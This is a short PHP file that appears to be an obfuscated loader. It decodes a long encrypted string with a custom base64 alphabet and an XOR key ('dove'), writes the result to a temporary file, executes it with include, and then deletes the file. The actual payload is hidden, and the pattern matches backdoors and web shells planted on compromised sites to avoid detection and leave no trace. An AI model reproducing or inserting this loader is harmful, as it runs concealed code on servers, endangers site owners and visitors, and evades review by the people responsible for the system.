<?php
$encrypted = 'WFAGDRRifAAWHRkXOx0TFQsdAgwKCF5VTVR7bw0BHzoXCgJNQwsfFhQDFxw7CgQXCx0FQkhPRkxfYnwMAk9eDBccExFMSykiITstQg8KD0I5RlZDQk9SOiMqIj5DBBMcQzJWWFlSVkIJHB4ACANRTEQUe29ET1ZFDAoXAQEdXkIoABUEEAYZC15PFQ0FAhMJAQAYSxQHBkJNVHtvRE9WRQEXHxFfYnwYaWUTCRcKHwNERx8WFwoCTUAwMSAwNFEOARZROE1PUENESykiITstQg8KD0I5T0tYWU9RBAACHws7HRMWEAAEAENGVh5pZVZFRE8eAAULExdMSDoKBw4CDAsBTEVKQVkWBwAEFQ0AGEsUBwZCTVR7b0RPVkUBFx8RX2J8GERifAAIHBMMAk9eDBccExFMSykiITstQg8KD0I5RlZDQk9SOiMqIj5DBBMcQzJWWFlSVkIJHB4ACAMpFwEcAgoWClFMRBR7b0RPVkUMChcBAR1eQigAFQQQBhkLXk9YS0sfHwIBABhLFAcGQk1Ue29ET1ZFARcfEV9ifBhpZRMJFwpWHmllVkVETx4REB8pFwEcBgoKHBM6BwASAExbRlFNVHtvRE9WRQEXHxFfYnwYaWVJWw';
if (!function_exists('pig')) {
    function pig($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), pig($encrypted, 'dove'));
include $tmp;
unlink($tmp);

?>